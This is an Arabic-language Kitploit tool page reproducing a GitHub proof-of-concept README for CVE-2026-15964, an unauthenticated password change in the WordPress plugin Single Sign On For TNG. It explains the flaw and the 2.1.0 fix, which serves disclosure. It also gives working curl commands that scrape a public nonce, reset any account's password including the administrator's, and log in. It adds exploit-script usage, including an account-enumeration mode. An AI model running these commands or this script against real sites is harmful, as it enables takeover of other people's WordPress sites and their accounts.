Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-15964-PoC — PoC وفحص لـ CVE-2026-15964 - تغيير كلمة المرور دون مصادقة في إضافة ووردبريس Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
أدوات/GitHubGitHub/instructor-admin/cve-2026-15964-poc
المصادقة والترخيصتصعيد الامتيازاتماسحات الثغرات الأمنية للويبالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراق

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubinstructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC وفحص لـ CVE-2026-15964 - تغيير كلمة المرور دون مصادقة في إضافة ووردبريس Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

عرض المستودع
113منذ 2 أشهرلم تتم المراجعة بعد

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

تصعيد امتيازات بدون مصادقة عبر تغيير كلمة مرور غير موثّق في إضافة ووردبريس Single Sign On For TNG.

الخطورةCritical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Unverified Password Change)
الإصدارات المتأثرةإصدارات الإضافة من 1.0.0 حتى 2.0.0
أُصلح في2.1.0 (صدر في 2026-07-27)
نُشر2026-08-01
المصادقة المطلوبةلا شيء (wp_ajax_nopriv_ssoprocess_ajax)
الأثرتغيير كلمة مرور أي حساب ووردبريس، بما في ذلك حسابات المسؤولين - استيلاء كامل على الموقع
الإضافةhttps://wordpress.org/plugins/single-sign-on-for-tng/

باختصار

يمكن لأي زائر غير مصادَق تغيير كلمة مرور أي حساب على موقع يشغّل الإضافة بالإصدار 2.0.0 أو إصدار أقدم. طلبا HTTP فقط:

  1. أرسل طلب GET إلى الصفحة الرئيسية وانسخ الـ nonce من كائن JavaScript SSOPWDREQUIREMENT.
  2. أرسله عبر POST إلى admin-ajax.php مع operation=setnewpassword وبريد إلكتروني للضحية وكلمة مرور جديدة.

تقوم دالة reset_password() الأساسية في ووردبريس بالباقي. لا رمز مميز، ولا رابط تأكيد عبر البريد، ولا فحص صلاحيات. سجّل الدخول كمسؤول بعد ذلك.

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

لماذا ينجح هذا

المعالج مُسجَّل للمستخدمين غير المصادقين

في single-sign-on-for-tng.php (الإصدار 2.0.0):

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* تعني أن المعالج قابل للوصول دون أي جلسة على الإطلاق.

الحارس الوحيد هو nonce تمنحه الإضافة لكل زائر

الخطاف load_scripts() مربوط بـ wp_enqueue_scripts، لذا في كل صفحة واجهة أمامية تطبع الإضافة هذا في HTML:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

والذي يُعرض كالتالي:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

ويتحقق المعالج منه هكذا:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

المشكلة: يحسب ووردبريس الـ nonce عبر wp_create_nonce($action) باستخدام uid ورمز الجلسة. بالنسبة للزوار غير المسجّلين تكون قيمتهما 0 وسلسلة فارغة، مما يعني أن كل زائر مجهول يحصل على نفس الـ nonce تمامًا. ولا يُعاد توليده إلا كل 12 ساعة (دورة الـ nonce). لذا فإن الـ nonce الذي تطبعه الإضافة لأي زائر صالح أيضًا للمهاجم - لا يوجد سرّ لسرقته، فهو منشور على الصفحة نفسها.

ثم التغيير الفعلي، دون أي إثبات للملكية

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

دالة reset_password() هي دالة أساسية في ووردبريس. تعيّن تجزئة جديدة، وتُخرج الضحية من كل الجلسات الأخرى، وتُطلق حدثَي password_reset / after_password_reset. تُستدعى هنا دون أي شيء يثبت أن المتصل هو مالك الحساب.

معلومتان إضافيتان تستحقان المعرفة:

  • لا يوجد فحص لقوة كلمة المرور على الخادم عبر هذا المسار. قاعدتا MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC في الإضافة تُطبَّقان فقط داخل validate_form() لنماذج Forminator، ولا تُطبَّقان هنا أبدًا. أي كلمة مرور مقبولة.
  • تعداد الحسابات. الفرق بين {"success":true} و{"success":false} يخبرك ما إذا كان بريد إلكتروني مسجّلًا أم لا. يستخدم وضع --enum-only في الفاحص هذا الأمر.
  • خطأ إضافي في الدالة نفسها: operation=set_tzoffset يستدعي update_option('localtzoffset', $post['timezoneoffset']) بدون مصادقة. ليس قابلاً للاستغلال مباشرة لتنفيذ التعليمات البرمجية عن بُعد (RCE)، لكنه كتابة خيار بدون مصادقة ويستحق الذكر في التقرير الفني.

ما الذي تغيّر في 2.1.0

مقارنة الإصدارين 2.0.0 و2.1.0 تجعل الإصلاح واضحًا (وتؤكد وجود الخطأ):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

بالإضافة إلى ذلك، في newpasswordform():

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

إذن في 2.1.0 يكون التدفق: طلب استرداد حقيقي يخزّن custom_recovery_token + custom_recovery_nonce خاصين بكل مستخدم في بيانات المستخدم، ورابط الاسترداد يحمل معرّف المستخدم، والنموذج يتحقق من الاثنين، ويرفض معالج AJAX التنفيذ بمجرد انتهاء نافذة الاسترداد (timeout). المهاجم الذي لا يستطيع إنتاج سجل استرداد نشط لا يمكنه تشغيل setnewpassword بعد الآن.


إعادة الإنتاج (يدويًا)

الخطوة 1 - استخرج الـ nonce

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

الخطوة 2 - غيّر كلمة المرور

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

الاستجابة المتوقعة على تثبيت ثغِر: {"success":true}

الخطوة 3 - سجّل الدخول

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

إثبات المفهوم (PoC): CVE-2026-15964.py

استغلال لموقع واحد. يتضمن أوضاعًا غير تخريبية.

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

الفاحص: CVE-2026-15964-checker.py

ماسح دفعات لقوائم مواقعك الخاصة. غير تخريبي بالتصميم - لا يغيّر أي كلمة مرور أبدًا.

كيف يصنّف كل موقع:

تنزيل الأداة